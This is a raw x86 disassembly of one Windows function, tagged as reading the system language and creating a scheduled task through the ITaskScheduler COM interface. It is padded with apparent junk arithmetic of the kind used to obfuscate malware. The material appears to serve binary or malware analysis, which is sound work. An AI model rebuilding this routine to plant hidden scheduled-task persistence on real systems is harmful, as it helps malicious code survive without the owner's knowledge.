Function at 0x401fce
Capabilities:
Identify system language via api
Schedule task via itaskscheduler

Disassembly:
mov eax, 0x42d0cd
call fcn.0042c930
sub esp, 0x194
mov ax, word [0x438c10]
push ebx
sub word [0x438bf2], ax
push esi
xor ebx, ebx
push edi
push ebx
push ebx
push 0x1f
mov byte [ebp - 0x11], bl
call fcn.004146c6
pop ecx
call eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 4], ebx
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov byte [0x438be9], al
mov dword [ebp - 0x20], ebx
push 0xa495ffff
mov byte [ebp - 4], 1
push dword [0x438c1c]
call fcn.00410285
mov word [0x438bfa], ax
or al, 0xff
sub al, byte [0x438bfe]
pop ecx
pop ecx
mov byte [0x438bf1], al
lea eax, [ebp - 0x20]
push eax
push 0x4325b0
push 1
pop edi
push edi
push ebx
push 0x4325d0
call dword [sym.imp.ole32.dll_CoCreateInstance]
movsx cx, byte [0x438bed]
cmp eax, ebx
mov word [0x438bf6], cx
jl 0x402b00
inc word [0x438bfc]
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x9c]
push 5
push eax
mov byte [ebp - 4], 2
call fcn.0040a7f9
mov ax, word [0x438bfe]
xor ecx, ecx
cmp ax, bx
push 0x845dffff
movsx eax, ax
setne cl
add word [0x438c02], cx
push eax
mov byte [ebp - 4], 3
call fcn.0041020b
mov byte [0x438beb], al
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0040dbaf
add esp, 0x18
mov eax, dword [eax + 4]
mov byte [ebp - 4], 4
cmp eax, ebx
jne 0x4020d7
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
mov ecx, dword [ebp - 0x20]
lea esi, [ebp - 0x1c]
push esi
mov esi, 0x4325e0
mov edx, dword [ecx]
push 0x4325c0
push esi
push eax
push ecx
call dword [edx + 0x20]
push edi
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 3
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
push 0x1d1dffff
push 0x8443ffff
call fcn.004100f9
cmp dword [ebp - 0x10], 0x80070050
pop ecx
pop ecx
mov word [0x438bfa], ax
jne 0x40221d
push dword [0x438c28]
push 0x3dffffff
call fcn.0041003a
push dword [0x438c10]
add byte [0x438bea], al
push dword [0x438c0c]
call fcn.00410167
add dword [0x438c20], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0040dbaf
add esp, 0x18
mov eax, dword [eax + 4]
mov byte [ebp - 4], 5
cmp eax, ebx
jne 0x402175
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
mov ecx, dword [ebp - 0x20]
push eax
push ecx
mov edx, dword [ecx]
call dword [edx + 0x1c]
push edi
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 3
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
cmp word [0x438c00], bx
jne 0x4021a3
cmp word [0x438c04], bx
jne 0x4021a3
xor eax, eax
jmp 0x4021a5
mov eax, edi
add byte [0x438bef], al
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0040dbaf
pop ecx
pop ecx
mov eax, dword [eax + 4]
mov byte [ebp - 4], 6
cmp eax, ebx
jne 0x4021cd
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
push edx
push 0x4325c0
push esi
push dword [ebp - 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
push edi
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 3
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
movsx eax, word [0x438bf6]
push 0x5341ffff
push eax
call fcn.0041020b
add word [0x438c00], ax
pop ecx
pop ecx
call dword [sym.imp.USER32.dll_GetCapture]
mov byte [0x438bef], al
movsx eax, word [0x438bf6]
push eax
push 0x3881ffff
call fcn.00410092
add byte [0x438bf1], al
push 0x4b5bffff
push 0x908bffff
call fcn.00410246
add word [0x438bf2], ax
add esp, 0x10
cmp dword [ebp - 0x10], ebx
jl 0x402ade
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.0041f5b4
pop ecx
pop ecx
mov esi, dword [0x431f94]
mov byte [ebp - 4], 7
mov al, byte [esi]
add al, 0x66
movzx eax, al
add eax, 3
and al, 0xfc
call fcn.0042c950
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov edx, esi
mov dword [ebp - 0x10], eax
call fcn.00429cdb
mov dword [ebp - 0x18], eax
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
lea ecx, [ebp - 0x44]
push dword [eax]
mov eax, dword [ebp - 0x10]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::substr_unsigned_int__unsigned_int_]
push eax
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 4], 8
call fcn.0040d796
mov esi, eax
push dword [ebp - 0x18]
mov byte [ebp - 4], 9
call sub.MSVCRT.dll_strlen
add esp, 0xc
mov ecx, esi
push eax
push dword [ebp - 0x18]
push dword [esi + 8]
push ebx
call dword [sym.imp.MSVCP60.dll_public:_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::compare_unsigned_int__unsigned_int__char_const___unsigned_int_const]
push edi
lea ecx, [ebp - 0x34]
mov esi, eax
mov byte [ebp - 4], 8
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push edi
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 7
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
cmp esi, ebx
je 0x40239b
mov al, byte [ebp - 0x44]
push ebx
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x34], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
lea ecx, [ebp - 0x34]
push dword [eax]
lea eax, [ebp - 0x44]
push ebx
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int_]
mov esi, dword [0x431f94]
mov byte [ebp - 4], 0xa
mov al, byte [esi]
add al, 0x66
movzx eax, al
add eax, 3
and al, 0xfc
call fcn.0042c950
mov ecx, esp
mov edx, esi
call fcn.00429cdb
mov esi, eax
push esi
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push esi
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::append_char_const___unsigned_int_]
mov ecx, dword [ebp - 0x30]
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp ecx, ebx
jne 0x40236b
mov ecx, eax
cmp dword [ebp - 0x40], ebx
je 0x402373
mov eax, dword [ebp - 0x40]
push ebx
push ecx
push eax
push 0x38
call fcn.004146c6
pop ecx
call eax
lea eax, [ebp - 0x34]
lea ecx, [ebp - 0x44]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::swap_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char____]
push edi
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 7
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 0xb08fffff
push dword [0x438c08]
call fcn.004101be
push dword [0x438c0c]
mov byte [0x438bee], al
push dword [0x438c24]
call fcn.0041020b
add esp, 0x10
mov byte [0x438bef], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add word [0x438bf2], ax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.0040dbaf
pop ecx
pop ecx
mov eax, dword [eax + 4]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
cmp eax, ebx
mov byte [ebp - 4], 0xb
je 0x4023f8
mov ecx, eax
mov eax, dword [ebp - 0x1c]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x80]
push edi
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 7
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
dec word [0x438bfa]
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x1a0]
push eax
push 0x10
mov dword [ebp - 0x48], 0x104
call fcn.004146c6
pop ecx
call eax
lea eax, [ebp - 0x1a0]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.0040dd66
pop ecx
pop ecx
mov eax, dword [eax + 4]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
cmp eax, ebx
mov byte [ebp - 4], 0xc
je 0x40245b
mov ecx, eax
mov eax, dword [ebp - 0x1c]
push ebx
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x78]
push edi
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 7
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
mov eax, dword [ebp - 0x1c]
push 0x2200
push eax
mov ecx, dword [eax]
call dword [ecx + 0x70]
mov eax, dword [ebp - 0x1c]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa8]
movsx eax, byte [0x438bea]
push 0x8b4fffff
push eax
call fcn.004100f9
mov dword [0x438c24], eax
mov dword [ebp - 0x18], ebx
movsx eax, word [0x438bfc]
push eax
mov byte [ebp - 4], 0xd
movsx eax, byte [0x438beb]
push eax
call fcn.004100c8
add word [0x438c02], ax
push 0xbf49ffff
movsx eax, byte [0x438bef]
push eax
call fcn.004100c8
mov esi, dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
add word [0x438c02], ax
add esp, 0x18
call esi
add word [0x438c00], ax
push 0xbccdffff
push 0xbaadffff
call fcn.0041003a
add word [0x438c04], ax
movsx eax, byte [0x438bf1]
push eax
movsx eax, byte [0x438bf0]
push eax
call fcn.00410092
add esp, 0x10
lea edx, [ebp - 0x18]
mov word [0x438bf4], ax
mov eax, dword [ebp - 0x1c]
push edx
lea edx, [ebp - 0x22]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
mov dword [ebp - 0x10], eax
movsx eax, word [0x438c02]
push eax
push 0xe665ffff
call fcn.00410167
mov word [0x438bf4], ax
push 0x8f47ffff
movsx eax, byte [0x438bf1]
push eax
call fcn.0041003a
add dword [0x438c1c], eax
mov al, byte [0x438c02]
add esp, 0x10
dec al
cmp dword [ebp - 0x10], ebx
mov byte [0x438bee], al
jl 0x402795
mov al, byte [0x438bfc]
dec al
add byte [0x438bec], al
je 0x4025a1
cmp word [0x438bfe], bx
je 0x4025a1
mov eax, edi
jmp 0x4025a3
xor eax, eax
add dword [0x438c10], eax
push 0x30
lea eax, [ebp - 0x8c]
push ebx
push eax
call sub.MSVCRT.dll_memset
movsx ecx, word [0x438bfe]
movsx eax, word [0x438c00]
add ecx, dword [0x438c2c]
add esp, 0xc
mov word [ebp - 0x8c], 0x30
mov word [ebp - 0x84], di
add ecx, eax
mov word [ebp - 0x86], di
mov dword [0x438c2c], ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [0x438beb], al
push 0x2d17ffff
movsx eax, word [0x438bf8]
push eax
mov word [ebp - 0x88], 0x7cf
call fcn.00410167
push 0x4a
mov dword [0x438c08], eax
call fcn.004146c6
add esp, 0xc
call eax
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov dword [ebp - 0x6c], edi
mov word [ebp - 0x68], di
mov dword [ebp - 0x74], 0x3c
mov dword [ebp - 0x78], 0x80ac0
call dword [sym.imp.MSVCRT.dll_rand]
push 0x3c
cdq
pop ecx
idiv ecx
mov dword [esp], 0x7f8dffff
push 0xf279ffff
mov word [ebp - 0x7a], dx
call fcn.00410246
pop ecx
mov word [0x438c02], ax
mov al, byte [0x438c2c]
pop ecx
push eax
call dword [sym.imp.USER32.dll_IsCharLowerA]
mov word [0x438bf8], ax
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x8c]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
push dword [0x438c10]
or word [0x438c04], 0xffff
mov dword [ebp - 0x10], eax
push 0xa80fffff
call fcn.00410167
add byte [0x438bee], al
cmp dword [ebp - 0x10], ebx
pop ecx
pop ecx
jl 0x402795
call esi
add word [0x438c00], ax
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
mov dword [ebp - 0x10], ebx
je 0x4026d9
mov ecx, dword [eax]
lea edx, [ebp - 0x10]
push edx
push 0x4380c0
push eax
call dword [ecx]
movsx eax, byte [0x438bef]
push 0x1f5fffff
push eax
mov byte [ebp - 4], 0xe
call fcn.0041020b
add dword [0x438c08], eax
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
add word [0x438bfe], ax
inc dword [0x438c2c]
cmp dword [ebp - 0x10], ebx
je 0x402784
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov word [0x438bf4], ax
mov eax, dword [ebp - 0x10]
push edi
push ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov eax, dword [0x438c1c]
mov byte [ebp - 0x11], 1
dec eax
add word [0x438bf4], ax
movsx eax, word [0x438bfc]
push eax
push dword [0x438c0c]
call fcn.00410285
add word [0x438bfc], ax
push 0x97abffff
movsx eax, byte [0x438bee]
push eax
call fcn.0041003a
add word [0x438bfa], ax
push 0x51e1ffff
movsx eax, byte [0x438bf0]
push eax
call fcn.00410285
add esp, 0x18
mov dword [0x438c24], eax
mov eax, dword [ebp - 0x10]
mov byte [ebp - 4], 0xd
cmp eax, ebx
je 0x402795
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
movsx eax, word [0x438bf4]
dec byte [0x438bf1]
push eax
push 0x8a2bffff
call fcn.004100f9
add byte [0x438bf1], al
mov eax, dword [ebp - 0x18]
pop ecx
cmp eax, ebx
pop ecx
mov byte [ebp - 4], 7
je 0x4027c6
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x18], ebx
cmp byte [0x438bf1], bl
mov byte [ebp - 4], 0xf
jne 0x4027e1
cmp byte [0x438beb], bl
jne 0x4027e1
xor eax, eax
jmp 0x4027e3
mov eax, edi
add word [0x438bf6], ax
push 0xa8bfffff
push 0x6a05ffff
call fcn.00410092
pop ecx
mov byte [0x438bea], al
pop ecx
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
push dword [0x438c14]
add dword [0x438c20], eax
push 0xc0d3ffff
call fcn.00410167
push 0xc429ffff
push 0x32f7ffff
mov dword [0x438c0c], eax
call fcn.0041020b
add esp, 0x10
lea edx, [ebp - 0x18]
mov byte [0x438bf0], al
mov eax, dword [ebp - 0x1c]
push edx
lea edx, [ebp - 0x22]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
push 0xa563ffff
mov esi, eax
call dword [sym.imp.USER32.dll_IsWindow]
add dword [0x438c28], eax
cmp esi, ebx
jl 0x402a9d
mov eax, dword [0x438c18]
push 0x30
dec eax
push ebx
add word [0x438bf4], ax
lea eax, [ebp - 0x8c]
push eax
call sub.MSVCRT.dll_memset
push 0x7dcfffff
push 0x587fffff
mov word [ebp - 0x8c], 0x30
mov word [ebp - 0x84], di
mov word [ebp - 0x86], di
call fcn.004100c8
add dword [0x438c20], eax
mov al, byte [0x438bfa]
imul byte [0x438c0c]
mov byte [0x438be9], al
xor eax, eax
cmp word [0x438bfc], bx
push 0xd82bffff
push 0x4c8bffff
mov word [0x438bf8], di
setne al
add dword [0x438c24], eax
mov word [ebp - 0x88], 0x7cf
mov dword [ebp - 0x6c], 7
call fcn.004101be
mov word [0x438bf2], ax
mov ax, word [0x438c2c]
add word [0x438c02], ax
mov eax, dword [ebp - 0x18]
add esp, 0x1c
lea edx, [ebp - 0x8c]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
mov esi, eax
movsx eax, byte [0x438be9]
push eax
push dword [0x438c0c]
call fcn.00410167
pop ecx
cmp esi, ebx
pop ecx
mov word [0x438bf2], ax
jl 0x402a9d
movsx eax, word [0x438bfa]
mov ecx, eax
push eax
movsx eax, word [0x438c02]
imul ecx, ecx, 0x5815ffff
push eax
mov dword [0x438c28], ecx
call fcn.004101be
mov word [0x438bf4], ax
mov eax, dword [ebp - 0x1c]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x10], ebx
je 0x402984
mov ecx, dword [eax]
lea edx, [ebp - 0x10]
push edx
push 0x4380c0
push eax
call dword [ecx]
push dword [0x438c10]
mov byte [ebp - 4], 0x10
push 0x330dffff
call fcn.00410130
add word [0x438bf6], ax
push 0x700fffff
push dword [0x438c08]
call fcn.00410285
add dword [0x438c0c], eax
push 0xbf9bffff
movsx eax, word [0x438c02]
push eax
call fcn.00410092
add word [0x438bfa], ax
add esp, 0x18
cmp dword [ebp - 0x10], ebx
je 0x402a8c
push dword [0x438c14]
push 0xcefffff
call fcn.00410130
add byte [0x438bf0], al
movsx eax, byte [0x438be8]
push eax
movsx eax, word [0x438bfc]
push eax
call fcn.00410246
add esp, 0x10
mov dword [0x438c2c], eax
mov eax, dword [ebp - 0x10]
push edi
push ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov al, byte [0x438bfc]
add dword [0x438c18], 0xf83fffe
inc al
mov byte [ebp - 0x11], 1
add byte [0x438bec], al
movsx eax, word [0x438c04]
push eax
push 0x878bffff
call fcn.00410167
mov word [0x438bf8], ax
mov ax, word [0x438bfa]
xor ecx, ecx
cmp ax, bx
setne cl
add dword [0x438c2c], ecx
push 0xd199ffff
movsx cx, byte [0x438bee]
and cx, word [0x438bf2]
movsx eax, ax
add word [0x438c00], cx
push eax
call fcn.00410092
add esp, 0x10
mov word [0x438bfc], ax
mov eax, dword [ebp - 0x10]
mov byte [ebp - 4], 0xf
cmp eax, ebx
je 0x402a9d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
movsx eax, word [0x438c00]
dec word [0x438bf8]
push eax
push 0x97e3ffff
call fcn.004101be
add word [0x438bfe], ax
mov eax, dword [ebp - 0x18]
pop ecx
cmp eax, ebx
pop ecx
mov byte [ebp - 4], 7
je 0x402ad0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push edi
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 3
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push edi
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 2
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov eax, dword [ebp - 0x1c]
mov byte [ebp - 4], 1
cmp eax, ebx
je 0x402b00
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
mov byte [ebp - 4], bl
cmp eax, ebx
je 0x402b10
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x4c], 0x80010106
je 0x402b27
push 0x20
call fcn.004146c6
pop ecx
call eax
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0x11]
lea esp, [ebp - 0x1ac]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret